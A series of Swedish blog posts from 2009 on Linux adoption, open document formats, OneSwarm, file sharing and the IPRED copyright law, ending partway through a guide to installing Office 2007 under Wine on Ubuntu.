Så det ska bli mycket intressant att följa utvecklingen av det här. Som en anhängare av öppen källkod och öppna dokumentformat hoppas jag att det här går åt rätt håll, och inte att historien upprepar sig och Google blir till ett nytt Microsoft som bygger in sina kunder i enbart sina egna lösningar.

Framtiden får utvisa hur det blir.

Läs även andra bloggares åsikter om datorer, fri programvara, google, linux, microsoft, operativsystem, öppen källkod

Status på Münchens Linux-migrering

2009-06-28T22:29:00.002+02:00

Slashdot rapporterar om statusen på LiMux-projektet, där Münchens 14 000 datorer ska migreras från Windows till Linux. En sån här migrering tar tid. Det är specialapplikationer som ska transformeras från Windows till Linux, dokumentmallar, speciallösningar för dataimport, med mera.

I dagsläget kör 40 procent av alla skrivbordsdatorerna i München kontorssviten OpenOffice.org. De restrerande 60 procenten beräknas vara migrerade i slutet av 2009.

När det kommer till operativsystemen är det endast 10 procent av datorerna som kör Linux, resten harvar på i Windows fortfarande. Den här delen av migreringen väntas inte vara i slutfasen förrän 2012. Då ska 80 procent av alla desktops köra Linux. Detta i ett projekt som slogs på trumman för redan 2003.

Det är dock inget ovanligt att IT-projekt av den här skalan drar ut på tiden, eller att de åtminstone släpar efter ett antal versioner. Det finns fortfarande företag där ute som kör Windows 2000 som sin standardplattform. Åtta år efter att Windows XP släpptes alltså. Det är i och för sig inte heller ovanligt att man då hoppar över någon eller några versioner av operativsystemet och går direkt på "det senaste".

Enligt projektansvarige Florian Schießl skulle också en direkt migrering till Windows XP från den NT4-plattform som München körde innan den påbörjade migreringen till Linux kosta 2 miljoner Euro mindre. Det är först efter ett antal års uteblivna licenskostnader som Linux-lösningen tjänas in.

LiMux-projektet har också flyttat målramarna en hel del under projektets gång. Enligt den kritiska sajten Munich Linux Watch har deras tidsschema flyttats såhär:

2004 sade de att de skulle ha migrerat 100% av arbetsstationerna till 2008

2006 erkände staden att de aldrig skulle kunna konvertera 100% av sina arbetsstationer, så de ändrade till 80% till 2008

2008, med mindre än 10% av maskinerna migrerade, lovade staden att konvertera "en stor del" av sina datorer till 2009.

I slutet av 2008 lovade man "de flesta arbetsstationerna till 2011.

Nu är det alltså 2012 som gäller. Inte konstigt med 300 olika administrativa program som är skrivna för Microsoft Windows. Dessa ska då antingen köras i en virtuell maskin, köras i kompatibilitetslagret Wine eller köras på en Terminal Services-server. Om inget av dessa alternativ fungerar, ska programmet köras på Windows.

På grund av decentralisering, där varje avdelning hade sin egen IT-miljö och satte upp flera olika typer av Windows-maskiner, har München enligt Schießl uppfunnit hjulet flera gånger om. Antalet dokumentmallar var vid projektets början 13 700. Nästan en för varje anställd, säger Schießl. Att detta tar tid att migrera och standardisera är rätt givet.

Genom utbildning skapar man lokal kompetens och minskar outsourcingen från 70 procent till runt 30 procent. Det borde bli en rätt rejäl kostnadsminskning i slutändan. Tvärt emot vad som ofta hävdas var inte huvudsyftet för migreringen att kapa kostnader, utan att göra sig oberoende.

Flera kommuner och departement har följt i LiMux spår, trots att det inte kan betecknas som ett lyckat projekt. Än.

Det ska bli mycket intressant att följa projektets fortlevnad. Linux är i desperat behov av bra referensprojekt för att bli ett tänkbart alternativ för företag och institutioner av varierande slag.

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, limux, linux, munchen, öppen källkod

Z-LUGs första träff

2009-06-28T21:05:00.004+02:00

Ikväll har vi haft första officiella träffen för Jämtlands Linux User Group, Z-LUG. Om ni är lite konfunderade över förkortningen, så beror den på att Z är Jämtlands länsbokstav. Om ni undrar vad länsbokstav är så är ni för unga för att läsa vidare. Eller så bor ni inte i Jämtland. Här heter allt något med Z- eller Jämt- framför.

En Linux User Group eller lokal användargrupp har som mål att samla människor som har Linux och/eller Öppen källkod som intresse, agera support för nybörjare och ha skoj i allmänhet.

Hur som helst, luftkonditioneringen fanns inte på plats när vi träffades i Medborgarskolans lokaler i Östersund i tre timmar under en av de soligare söndagseftermiddagarna.

Evenemanget lockade fem tappra och något varma deltagare, de andra tackade nej på grund av alltför vackert väder. Som organisatör tyckte jag att det lät som en utmärkt idé, men ett grundkrav är väl att man ställer upp på sina egenhändigt anordnade evenemang. En journalist från ÖstersundsPosten dök upp också och fick sig en svada om Fri programvara, Öppen källkod och Linux. Ska bli intressant att se vad för typ av artikel det blir i morgondagens tidning.

Vi hade ju hoppats på att även lite mindre inbitna Linux-människor skulle dyka upp, men med så gott som obefintlig marknadsföring blev det bara redan övertygade användare som dök upp. Inget ont i det, men vi beslutade oss för att stryka lite i programmet.

Att köra en introduktionsföreläsning om Ubuntu Linux och OpenOffice.org skulle hur som helst känts lite malplacerad bland alla utvecklare, scriptare och administratörer.

Vi hoppas på bättre lycka nästa gång och bjuder istället på två suddiga bilder från evenemanget.

Peter och Thomas sitter och petar med Citrix ICA-klient, Mats relaxar i bakgrunden.

Det surfades även på Ubuntu-sidor. Dock inga Fedora-diton, till Mats stora förtret.

Tack till er som dök upp, vi ses igen den 26 juli!

Spana också efter andra evenemang runt om i Sverige, eller lägg till ett eget, på http://fosskalendern.se

Läs även andra bloggares åsikter om datorer, fedora, fri programvara, jämtland, linux, LUG, ubuntu, öppen källkod, östersund

Att ta sig ur inlåsning tar tid

2009-05-27T13:59:00.003+02:00

I ungefär 20 år har Sverige varit en nation av Microsoft-produkter. Hela datorkonsultbranschen är uppbyggd kring Windows och dess tillämpningsprogram, företag som skriver egen programvara utvecklar den bara till Windows och till och med statliga institutioner tar bara hänsyn till Windows-installationer.

BankID börjar i nådens år 2009 åter få stöd för Linux, men då bara ytterligt nischat. Stödet för Mac dröjde även det när Windows prioriterades. Fattas bara annat med en 90-procentig marknadsandel. Allt detta sätter käppar i hjulet för Linux på skrivbordet. Du kan inte använda ett operativsystem som bara delvis klarar av dina dagliga sysslor.

Sakta, sakta börjar denna totala dominans att brytas upp. Men inte tack vare de institutioner som tillsatts för att stävja skadlig marknadstaktik, utan av gräsrötter och småföretag. Och inte att förglömma alla nya marknadssegment, som ultraportabla och mobiltelefoner.

IDG slår på stora trumman och säger att Linux floppar på skrivbordet. Att marknadsandelen bara växt med en halv procentenhet sedan 2007. Jag håller med till viss del. Linux är fullt funktionabelt för skrivbordsbruk. Jag har inte använt annat än Linux i fyra år.

Jag tycker inte att man ska skylla på Linux att Extrafilm bara har Windows-applikationer för att skicka in sina bilder, jag tycker inte att man ska skylla på Linux att BankID inte fungerar till 100% på alla statliga institutioner, jag tycker inte att man ska skylla på Linux att inte företag utvecklar drivrutiner till sina pryttlar och manicker. Jag tycker inte att man ska skylla på Linux att personer som vill köpa ny dator vill att den ska kunna köra Word, Excel och någon enstaka instans av MS Röj. Istället för att specificera den efter funktionerna ordbehandling, kalkylblad och roliga (nåja) spel.

I små steg börjar datorvärlden att omformas. Konsultbolagen inser att det där med att knyta upp sina tredjepartsprogram mot Excel eller Word i någon speciell version kanske var enklaste utvägen, men inte så smart. Istället ställer en del av kunderna krav på användande av öppna dokumentformat. Format som inte kräver Office 2007 för att kunna visas, utan lika gärna kan visas med OpenOffice.org, KOffice, Google Docs eller något annat kontorsprogram.

Problemet är att detta kräver medvetna konsumenter. Befolkningen i det här landet har skedmatats så länge med att allt som kommer ur Microsofts led är gudasänt. När Intel, som gör de flesta processorerna till PC- och Mac-datorer släppt en ny processor, har Microsoft släppt ett mer krävande operativsystem, allt för att privatpersoner så väl som företag ska tvingas att uppgradera. För Office XX har krävt Windows XX och Windows XX har krävt den senaste datorhårdvaran. Och Office XX har ju den där senaste supernödvändiga funktionen som du inte kan klara dig utan.

Allt detta har ställts på ända i och med Internet och Google. Numera är tidens buzzword "Molnet", allting ska vara i Molnet, vilket då i princip innebär Internet. Nu börjar man bygga program som tjänster över Internet och operativsystemen, såsom Windows, är inte längre lika viktigt. Windows håller sakta men säkert på att halka av tronen, till förmån för MacOS X och olika varianter av Linux. Och ju mer Microsoft börjar halka, desto större anledning för företag och konsulter att göra sina lösningar plattformsoberoende. Det innebär att det inte spelar någon roll vilken typ av underliggande arkitektur som programvaran körs på. Om det är Windows, MacOS X eller Linux, FreeBSD, OpenSolaris eller kanske Haiku spelar ingen roll.

Tyvärr går detta sakta på grund av människors ovilja att byta från något invant, företags och institutioners ovilja att investera i teknik som tillgodoser en så liten skara användares behov och att de media- och dokumentformat som är de facto-standard idag är reglerade av upphovsrättsliga och immaterialrättsliga skäl.

Om det är någon fråga jag skulle kunna tänka mig att engagera mig politiskt för så är det att Sverige ska börja använda sig av öppna dokumentformat och öppen källkod.

Varför är då detta så viktigt? För att informationstillgänglighet är en demokratisk rättighet och för att dokumentformat utan öppna specifikationer dör med företagen som uppfunnit dem. Det är därför det är lättare att läsa ett originalmanuskript från antikens Grekland än det är att öppna ett WordPerfect-dokument från 1987.

Med öppna och publicerade dokumentformat (vare sig det gäller film, musik eller text) kan informationen återskapas i evighet eftersom information om hur datat ska läsas finns nedtecknat och allmänt tillgängligt.

Läs även andra bloggares intressanta åsikter om bankid, datorer, fri programvara, linux, microsoft, odf, open office, sverige, öppen källkod

Ultraportabel med Ubuntu på Dell.se

2009-05-26T23:08:00.006+02:00

Jag blev upplyst om att Dell.se numera säljer en av sina modeller, närmare bestämt Latitude 2100 med Ubuntu Linux 8.10 förinstallerat.

Visserligen går det även att välja på Windows Vista Home Basic och XP Home SP3, men bara det faktum att det faktiskt går att köpa en dator utan Microsoftskatt från Dell.se är ju en god nyhet.

Jag har ingen aning om hur länge det har varit möjligt att köpa denna, men nu finns den.

Från 2990 SEK och till en vikt av 1,36 kilogram, men den saknar då inbyggd webkamera. Den går också att få med touch-screen och webbkamera, men då går nog priset upp en del. Datorn har dessutom ett hölje av gummi för att, får man förmoda, erbjuda bättre grepp och stöttålighet.

Kul nyhet från Dell!

Läs även andra bloggares intressanta åsikter om bärbar, datorer, dell, fri programvara, linux, ubuntu, ultraportabel, öppen källkod

Luleå väljer OpenOffice

2009-05-23T09:57:00.003+02:00

För några dagar sedan skrev Computer Sweden en artikel där Luleås IT-ansvarige Anders Granström berättar om att Luleå kommun hoppas på att slänga ut Microsoft Office till förmån för OpenOffice.org.

OpenOffice.org är öppen källkod, vilket innebär att i teorin kan programvaran anpassas till dina egna behov genom att antingen programmera om programmet själv, eller hyra in kompetensen på konsultbasis.

OpenOffice.org har stöd för Microsofts dokumentformat .doc samt det omstridda standardformatet OOXML så rent tekniskt så är det en billig uppgradering att göra jämfört med att köpa in Microsoft Office 2007. Utseendemässigt är Office 2007 väldigt skiljt från tidigare Office-versioner, vilket gör att det på organisationer behövs en utbildningsinsats oavsett vilket man väljer.

Luleå sällar sig därmed till kommunerna Alingsås, Vårgårda och Mölndal där man påbörjat övergången till OpenOffice redan. Luleå har också anslutit sig till det upprop som dessa kommuner gjort som ifrågasätter den inlåsning mot Microsofts produkter som finns bland majoriteten av de stora konsultbolagen i Sverige.

Det går framåt så sakteliga, men med ett antal kommuner som kan utnyttja sina gemensamma kunskaper kan det gå fortare. Sveriges Kommuner och Landstings öppen källkods-guru nummer ett, Mats Östling, ser många möjliga synergieffekter mellan landets 284 kommuner, liksom Free Software Foundation Europe Marcus Rejås.

För mig handlar öppen källkod och fri programvara i slutändan om öppenhet, kostnadsbesparingar och demokrati. Demokrati därför att man genom öppen programvara och öppna standarder tillgängliggör information på ett transparent och framtidsbeständigt sätt, kostnadsbesparingar genom att man utnyttjar det faktum att många företag och organisationer behöver ungefär samma funktioner för att fungera. Genom samordning kan man därför spara en rejäl slant.

Anohito skriver om OpenOffice 3.1 som nyligen släppts och lyfter fram några av fördelarna med OpenOffice.org

Svenska Linuxföreningen är också glad.

Som avslutning vill jag bara visa på hur svårt det är att installera program i Linux-distributionen Ubuntu jämfört med Windows. Förvisso på engelska, men det mesta är skärmbilder. Det är helt klart att Ubuntu inte är redo för vanliga användare.

Läs även andra bloggares intressanta åsikter om fri programvara, kommuner, linux, luleå, open office, ubuntu, öppen källkod

Angivarsamhället

2009-05-13T06:40:00.005+02:00

När jag satt i bilen på väg hem från mälardalen, där jag bland annat träffat Josh för första gången sedan att vi lärde känna varandra för runt nio år sedan, lyssnade jag på Verkligheten i P3. Det är ett dokumentärprogram som såklart har ungdomar som målgrupp och de tog upp ämnet om mystery shoppers.

Blåögd som jag är har jag inte hört talas om begreppet tidigare, men jag kan inte säga att jag är speciellt förvånad över att det finns.

Mystery shoppers är betalda kunder som går in i butikskedjor för att undersöka om personalen utför sitt jobb på tillfredsställande sätt. De ställer ibland kniviga frågor och identifierar sig såklart inte som anställda av ett undersökningsföretag, utan poängen är att du som anställd aldrig ska veta vem som är en mystery shopper och vem som är en vanlig kund.

I reportaget intervjuas en anställd på Pressbyrån som blivit utsatt för en mystery shopper och sedan fått påpekanden om att hon inte haft på sig sina arbetskläder på korrekt sätt. Bland annat ska hon ha missat att ha på sig sin keps och hon fick även backning för att hon inte var trevlig mot kunderna. Nu ser hon potentiella mystery shoppers i alla kunder och tvingar sig därför att vara trevlig mot alla, oavsett vilket bemötande hon får själv. Detta kanske vissa ser som en förbättring, men jag är inte lika säker.

Företaget Better Business med svenskt huvudkontor i Stockholm har ungefär 47 000 registrerade mystery shoppers. I Sverige, får man anta. Detta innebär att en av tvåhundra svenskar är registrerad i deras databas. Ungefär samma andel människor som var angivare till östtyska Stasi när det begav sig. Eller som en en bloggare uttrycker saken:

Spionuppdrag!
Idag har jag en massa Mystery shopping-uppdrag inbokade. Har redan avverkat ett utav dem. Nu ska jag se till att avverka resten också. Så se upp därute... nu kommer jag!

Jag, precis som den pressbyråanställda i reportaget, ser rätt tydliga paralleller till de övervakningslagar som kommit på senare tid. Genom att veta att du när som helst kan bli iakttagen och bedömd, censurerar du dig själv och anstränger dig för att vara toktrevlig hela tiden. Även fast uppgifterna ska vara anonymiserade så är det inte speciellt svårt för cheferna att ta reda på vem som hade arbetsskiftet när mystery shoppern gick in och bedömde. Det fick den pressbyråanställda tjejen erfara.

Vem vet i vilken utsträckning bedömningarna lägger grunden för kommande löneförhandlingar, eller till och med då personal ska sägas upp på grund av arbetsbrist? En dålig dag på jobbet och det kan vara din svanesång.

Det kommer du aldrig att få veta. Förrän i efterhand.

Läs även andra bloggares intressanta åsikter om angivarsamhället, angiveri, mystery shopping, övervakning

Ny version av OneSwarm släppt!

2009-04-15T13:58:00.002+02:00

För tre dagar sedan släpptes en ny version av OneSwarm, 0.6, för allmänt bruk. Som vanligt i öppen källkodsvärlden så är 0.x-versioner ansedda som stabila men icke färdigutvecklade programvaror. Ny funktionalitet som tillkommit är bland annat:

Krypterad Peer-2-peer-chat

Virtuella katalog-hierarkier (ingen mer hullerombuller-lagring)

Import av flera nycklar samtidigt

Inställning av alternativ spara-katalog för nedladdningar

Många små och stora buggfixar (bl a 'waiting for handshake')

För att ta del av uppdateringen om du redan kör OneSwarm räcker det att du har klickat i "Periodically check for OneSwarm updates" under Settings -> Privacy Settings i OneSwarms webbgränssnitt:

Om du inte kör OneSwarm så finns det att ladda ner på hemsidan.

Om du behöver hjälp att komma igång, har jag skrivit en liten uppstartsguide.

Läs även andra bloggares intressanta åsikter om anonymitet, bittorrent, fildelning, friend2friend, ipred, kryptering, oneswarm

Den tekniska snårighetens fildelning

2009-04-07T02:59:00.004+02:00

Joshua Tree på Enligt min humla försöker nyansera debatten om fildelning en aning och han gör det med den äran.

Han glömmer dock en (förvisso liten) grupp människor som även de har en orsak till att de fildelar. De som gör det av bekvämlighet. Jag är en sån.

Bonnier Audio gav 2005 ut Dan Browns bok "I cirkelns mitt" som ljudbok. Denna kan spelas i vanliga CD-spelare och på datorn. Eller åtminstone på Windows-datorn, om man skulle råka ha en. Det har de flesta människor (tyvärr ännu), vilket gör att Bonnier Audio gör det bekvämt för sig och släpper en version av ljud-CDn som automatstartar (återigen i Windows) ett program som låter dig spela ljud-CDn.

Jag som Linux-användare däremot, har inte samma tur. När jag har spelat en av de sexton CD-skivorna genom att köra programmet i Windows-emulatorn Wine (ja, jag vet, det är ingen riktig emulator, utan ett kompatibilitetslager, men försök förklara det för din morsa, det är svårt nog med emulator) kan jag av någon anledning inte starta upp CD nummer två och de följande om jag i inte startar om datorn mellan varje skivbyte.

Jag ser mig som en ganska kompetent och Linux-kunnig datornörd. Det finns definitivt de som kan mer än jag, men jag har bra nog koll för att använda systemet på en daglig basis. Alternativen som presenterar sig är således:

1) Rippa alla CD-skivorna en och en och lägga in dem på datorn. Eftersom Bonnier har gjort det svårt för piratkopierare är det en ganska tidsödande och komplicerad process.

2) Tanka ner ljud-CDn från nätet, exempelvis via en torrent från The Pirate Bay. Det tar i runda slängar 30 minuter på en långsam uppkoppling och kan göras i bakgrunden. Jag klickar på en länk och låter det gå medan jag gör annat.

3) Installera Windows. Detta är en tidsödande process där jag måste leta drivrutiner till min hårdvara över hela Internet, installera program till dödagar som måste tankas ner ett och ett från Internet, utsätts för hundratusentals virus. Dessutom förlorar jag en massa finesser som jag har vant mig vid att använda. Det är som att nedgradera från Mac OS X för mig. Nej tack.

Fördelarna väger över ganska starkt åt alternativ två. Det är helt enkelt minst komplicerat.

Likadant är det med vissa DVD-filmer. På grund av DVD-skivornas krypteringssystem (Content Scrambling System, CSS) måste man ladda ner ett specialprogram som bryter mot lagen i vissa länder (bland andra USA) för att kunna visa DVD-skivorna i Linux. Detta eftersom företagen i fråga inte licensierar programvara för operativsystemet av olika anledningar.

En fullt legitimt inköpt DVD kan på grund av DRM och andra finurligheter rendera enbart titelsekvensen, eller ännu värre bara rabbla rättighetsinformation på alla upptänkliga språk. Ni vet den där om att filmen absolut inte får visas på oljeriggar mitt ute i Atlanten.

För att inte tala på BluRay och HDDVD, som är osannolikt komplicerat att få igång. Allt för att förhindra piratkopiering av filmerna förstås. Men för mig som Linux-användare blir det alltså ett incitament till att piratkopiera istället. Fördelarna är många:

1. Jag slipper "Piracy. It's a crime"-trailern som alla som köper legitima kopior får upptryckt i ansiktet.
2. Jag slipper trailers på filmer jag inte vill se ändå, och även om jag vill se dem så slipper jag få en tre minuter lång resumé av filmerna så att jag vet precis vad som händer i dem, så all spänning är borta.
3. Jag kan ha den på flera olika datorer/enheter samtidigt.
4. Jag slipper surret från DVD-spelaren när jag tittar på filmen.
5. Jag kan oftast hämta hem vilka undertexter jag än vill ha.
6. Jag lagrar filmen på ett framtidssäkert sätt.
7. Det är mer prisvärt (ehh..).

Nackdelar:

1. Jag känner mig som en tjuv.
2. Jag kan få Antipiratbyrån efter mig
3. Jag får inget eventuellt extramaterial.

Tillfället gör tjuven och allt det där, men faktum är att jag skulle kommit över filmerna på ett eller annat sätt genom andra kanaler. Jag gillar film och köper ofta filmer jag tycker om. Jag köper aldrig filmer precis när de kommer ut för jag tycker inte att de är värda priset då. Jag fyndar i DVD-lådorna på Coop eller ICA Maxi och köper tre filmer för 100 spänn. Det är där min budget ligger.

Och jag blir lika förbannad varje gång min dator vägrar spela upp min inköpta film för att jag har "fel" operativsystem.

Jag ägde en gång Jakten på Röd Oktober på VHS. Den hade jag spelat in från SVT när den sändes där. Nu har jag den i 720P. Hade jag kunnat köpa den i ett format som fungerade lika bra som det piratkopierade så hade jag gjort det. Jag vill, som de flesta människor, göra rätt för mig.

Skiv- och filmbolagen gör det ganska svårt för sig. Och för mig. Och med Ipred lär det inte varken bli enklare eller mindre ljusskyggt att försöka få filmer att fungera. Därför måste jag fortsätta fildela även en del av mina inköpta alster.

Det kan bli en del intressanta rättsfall framöver.

Läs även andra bloggares intressanta åsikter om fildelning, film, ipred, musik, piratkopiering, upphovsrätt

Oneswarm-skeptiker finns det gott om

2009-04-01T15:07:00.004+02:00

PC för Alla dumförklarar som vanligt sina läsare. Krönikören Martin Appel hävdar att IPRED-lagen kommer att funka för att det är för komplicerat att använda OneSwarm eller VPN-tjänster. Han menar att om det inte finns ett tillräckligt enkelt sätt att använda anonym fildelning kommer "vanliga hederliga rörmokare, dagisfröknar och cykelreparatörer" att avstå från piratkopiering.

Jag tror att han har helt fel. Precis som Martin Appel konstaterar så ligger piraterna ett steg före antipiraterna i tekniskt hänseende. Jag tror därför att det inte kommer att dröja särskilt länge innan fildelning med OneSwarm eller något annat system blir såpass enkelt att göra att alla kommer att kunna göra det.

"Vanliga hederliga människor" har trots allt lärt sig hur BitTorrent-delning och DC++ går till. Tekniker som fram tills för bara några år sedan verkade vikt för powerusers som har datorer som (enda) hobby. Nu är dessa allmänt spridda och används av så gott som alla som vill. OneSwarm, eller liknande tekniker, kommer att gå samma väg. Jag försöker dra mitt strå till stacken genom att göra en bra handledning till OneSwarm.

OneSwarm-projektet är fortfarande i sin linda. På grund av att det är utvecklat som Öppen källkod där alla kan få se byggstenarna till systemet kommer utvecklingstakten att vara hög när den väl tar riktig fart. Flera olika klientprogramvaror kommer att utvecklas och användarvänligheten kommer att öka. Till och med det som anses vara användarovänligt kommer att göras. Det ryktas nämligen om en kommandoradsbaserad version utan ett grafiskt användargränssnitt som komplement till Vuze/Azureus/WebbGUI-varianten. Detta kommer jag personligen att välkomna, och fler med mig.

Hannes2peer skriver om begränsningarna i OneSwarm-tekniken och jag håller med om att hastighetsmässigt så kommer inte OneSwarm att komma upp i samma liga som BitTorrent gör idag. I och med att man skickar trafiken via flera noder så är det alltid den långsammaste länken som utgör flaskhalsen i systemet. Min uppfattning skiljer sig dock från Hannes i det att jag anser att möjligheten till anonymitet överväger hastighetens fördelar. Hannes skriver också om att stolt fildela istället för att bygga darknets, något som jag förvisso kan hålla med om. Även Opassande har ju varit inne på den linjen. Ett annat alternativ är ju att öppna upp sitt trådlösa nätverk.

Jag ändrar också mycket hellre lagstiftningen än smyger med fildelning. På ett sätt är det ju som att man erkänner för sig själv att IPRED är helt legitimt och att känna sig som kriminell är något vi får vänja oss vid. Jag vill inte ha det så.

Jag ser i och för sig inte OneSwarm som ett sätt att enkelt fildela upphovsrättsskyddat material. Jag ser det som en ypperlig variant på att direktöverföra filer mellan mig och mina vänner. Istället för att behöva skapa en torrent-fil av den, eller skicka över den via en IM-klient som MSN, Pidgin eller GoogleTalk så kan jag lägga den i min OneSwarm-katalog och låta andra hämta hem den. Detta kan ske helt automatiskt om man så vill. Dessutom med direktöverföring mellan mig och min vän.

Det om något är väl socialt nätverkande?

Läs även andra bloggares intressanta åsikter om anonymitet, bittorrent, fildelning, ipred, oneswarm, sociala nätverk, övervakning

Alla vill vara med i molnet. nästan.

2009-03-30T19:24:00.002+02:00

Det har varit en del skriverier om molnet och möjligheterna till standardisering av tjänsterna. Alla stora spelare verkar vilja vara med. Eller vad sägs om:

Cisco

Novell

Elastra

Akamai

Rackspace

Rightscale

Gogrid

VmWare

Det är dock två stora spelare som valt att stå utanför standardiseringsmanifestet. Microsoft med sin plattform Azure och Amazon med sin plattform EC2. Vissa, som Sogetis expert Per Björkegren, tycker att det är pinsamt att inte Microsoft hänger på tåget. De tar till och med aktivt avstånd ifrån standardiseringsarbetet.

Det är kanske inte så förvånande att Microsoft och Amazon inte hänger på de andra aktörerna, eftersom de båda har två system som fungerar. Men de som blir lidande är som vanligt kunderna. Ett standardiseringsarbete skulle möjliggöra sömlös övergång mellan olika leverantörer och tekniker.

Med Azure och EC2 som oberoende varianter kommer kunderna till dessa system inte kunna röra sig mellan olika kostnadsmodeller och aktörer. Då blir det precis som i princip med Microsofts alla andra tjänster, från vaggan till graven om du inte vill lägga ut en hel massa pengar på att migrera dina lösningar till någon annan leverantör.

Men det jag funderar på är varför man inte tar upp Googles inställning till det här manifestet? Eller Oracles för den delen..

Läs även andra bloggares åsikter om amazon, datorer, it, microsoft, molnet

Linux-installationer i Sverige får inte avslöjas

2009-03-27T22:08:00.004+01:00

Novell har jobbat ett längre tag i samarbete med Microsoft för att få .NET-program att köras i Linux via projektet Mono. I och med SuSE Linux version 11 kommer Mono Extensions som kommer att göra .NET-applikationer ännu mer sömlöst applicerbara på Linux.

Novell och Microsoft har tecknat ett femårigt samarbetsavtal och man bakar in codecs för proprietära mediaformat och annat smått och gott för att göra det enklare att bara köra igång direkt, utan onödigt omständig installation av programvara.

Det mest anmärkningsvärda i artikeln är dock att Novell inte får avslöja de företag som kör SuSE Linux på sina skrivbordsdatorer. I artikeln står att läsa:

– Även i Sverige finns det företag med många hundra anställda som bytt från Windows till Suse Linux, men dessvärre får vi inte gå ut med namnen, säger Gustaf Kaijser.

Jag har länge efterlyst företag och organisationer som har gått över till att köra Linux på skrivbordet, eftersom det kan vara bra att ha referensexempel när någon frågar. Kommuner och statliga verk finns på listan, så varför inte företag? Länge har det verkat som att de inte är intresserade.

Nu verkar det alltså som att de finns men att de inte får avslöjas. Varför förstår jag inte. Novell kan ju inte förlora på att berätta om att de lyckats få över en stor kund till Linux på skrivbordet. Jag tycker inte heller att kunden har något att förlora på att gå ut med det.

Den enda aktören som skulle förlora på det är Microsoft. Om det visar sig att det är möjligt att bryta sig loss ur inlåsningen till Microsofts produkter och använda likvärdiga öppen källkods-produkter skulle nog fler försöka göra det.

När locket ligger på finns det dock få incitament att ta ett språng ut i det okända.

UPPDATERAT: Jag har personligen pratat med Gustaf Kaijser och han meddelar att det inte är flera företag med hundratals användare utan snarare ett företag med tusentals användare det gäller. Att ett företag väljer att hålla sina leverantörer hemliga är mer förklarligt än att flera företag skulle göra det. Så nu tror jag att saken är utagerad.

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, it, linux, microsoft, munkavle, novell, öppen källkod

Unintentionally väldigt roligt

2009-03-25T06:35:00.002+01:00

Jag googlade precis på övervakningskameror eller Closed Circuit TeleVision (CCTV) och fick upp en förgreningssida på Wikipedia:

CCTV - Wikipedia via kwout

Verkar som att Kinas public service-television delar förkortning med något som lätt kan förväxlas med deras inställning till Internet och mediaoberoende. Olyckligt.

Läs även andra bloggares åsikter om cctv, humor, kina, övervakning

Aprilskämtet IPRED?

2009-03-19T16:17:00.002+01:00

Med de förkrossande röstsiffrorna 225 ja mot 34 nej röstades privatpolislagen IPRED igenom i Sveriges riksdag den 25 februari.

Socialdemokraterna, Moderaterna, Folkpartiet, Centerpartiet och Kristdemokraterna var för, Miljöpartiet och Vänsterpartiet emot.

Förslaget träder därför i kraft den 1 april 2009.

Lagen som heter Civilrättsliga sanktioner på immaterialrättens område - genomförande av direktiv 2004/48/EG innebär bland annat följande:

Film- och skivindustrin får rätt att få ut vem som abonnerat på en viss IP-adress på nätet vid ett visst klockslag, om de visar en domstol "skäliga bevis" för att fildelning har skett från den IP-adressen.

Med dessa enkelt fabricerade bevis kan bolagen skicka kravbrev och pressa civilpersoner på pengar med hot om större böter vid en eventuell rättegång

Fildelare som dömts i domstol kan tvingas betala omkostnaderna för att de hängs ut i exempelvis tidningsannonser där det står att de fildelat och dömts

Vid vite förbjuds den som gjort sig skyldig till ett försök eller en förberedelse till upphovsrättsintrång att fortsätta med åtgärden.

Med fildelning med BitTorrent-teknik är det enkelt att se vilka IP-adresser som delar vilket material och detta får alltså lagligen samlas in av upphovsrättsinnehavare för att underlätta en eventuell rättssak. De som sitter på publika såväl som privata trackers och delar filer kan därför känna sig rätt utsatta om två veckor från och med nu.

Vare sig man använder ThePirateBay, Mininova, BitMeTV, RevTT, Swebits eller något annat så kan man från och med 1 april bli föremål för statligt sanktionerad utpressning från film- eller skivbolag och deras företrädare.

Jag känner en person som bestämde sig för att gå med i socialdemokraterna för att försöka förändra partiet inifrån i dessa frågor. Även om det är ett ädelt syfte så skulle jag själv inte kunna göra på det sättet.

Och jag förstår ärligt talat inte hur stödet för moderaterna kan vara det högsta sedan nittiotalet. Hade jag varit allianssupporter och stått för de värderingar som många av allianspartierna hållit högt skulle jag vara så besviken att jag inte finner ord idag. Precis som företag inte förstår annat missnöje än vikande försäljningssiffror så förstår inte politiska partier missnöje på annat sätt än vikande röstsiffror.

Jag tror inte på att försöka förändra inifrån. Inte i det här skedet, inte i det här läget. Vi marscherar taktfast in i övervakningssamhället och det går inte längre att gömma sig bakom socialmoderaternas mittfåra-taktik med några procentsatser hit eller dit på vård-skola-omsorg och så urvattnad ideologi att det knappt går att skönja färgen på den längre.

De politiska ungdomsförbunden är väl en sak, men de stockkonservativa tomtarna på seniornivå har jag helt tappat förtroendet för. Det är lite som att försöka omvända en 85-åring till att plötsligt bli en icke-rasistisk fördomsfri queerfeminist. Det är helt enkelt för mycket jobb för att det ska vara värt det. Om nu queerfeminister har något att tillföra över huvud taget, vill säga.

I det här fallet så är medelåldern helt enkelt för hög och teknikkunnandet för lågt. Man förstår inte nätets dynamik, dess möjligheter och dess inneboende mekanismer. Med den kultur av vuxenmobbing vi sett prov på inom bland andra Moderaterna är omöjligtvis hälsosam för vare sig Karl Sigfrid eller för partierna i stort.

Det krävs nytt blod, nya system, nya idéer. Och inget av de etablerade riksdagspartierna visar prov på någotdera i större utsträckning.

Läs även andra bloggares intressanta åsikter om anonymitet, bittorrent, fildelning, ipred, politik, privatpolislagen, övervakning

Kör Microsoft Office 2007 på Ubuntu Linux 8.10

2009-03-18T06:43:00.008+01:00

En av de allra mest använda applikationerna i världen är Microsoft Office. Länge har det gått att köra Office 2003 under Linux, men nu har man äntligen löst problemen för att köra även Microsoft Office 2007 om man så önskar.

Själv föredrar jag OpenOffice.org 3 eftersom det är både gratis och fritt, men för de som har en licens och vill köra det i sitt Ubuntu finns det nu ett sätt. Förmodligen kommer det att dyka upp enklare sätt att göra detta på, men för tillfället är detta det sätt som gäller.

För att installera Office 2007 krävs Wine 1.1.9 eller nyare version. För att installera detta måste vi göra en del saker.

Först måste vi lägga till en programvarukälla. Det gör vi i System -> Administration -> Programvarukällor:

Under fliken Tredjepartsprogramvara lägger vi till andra programvaruförråd än de officiella som stöds av Ubuntu:

Tryck på Lägg till... så får du upp den här rutan:

I den klistrar du in denna rad:

deb http://wine.budgetdedicated.com/apt intrepid main

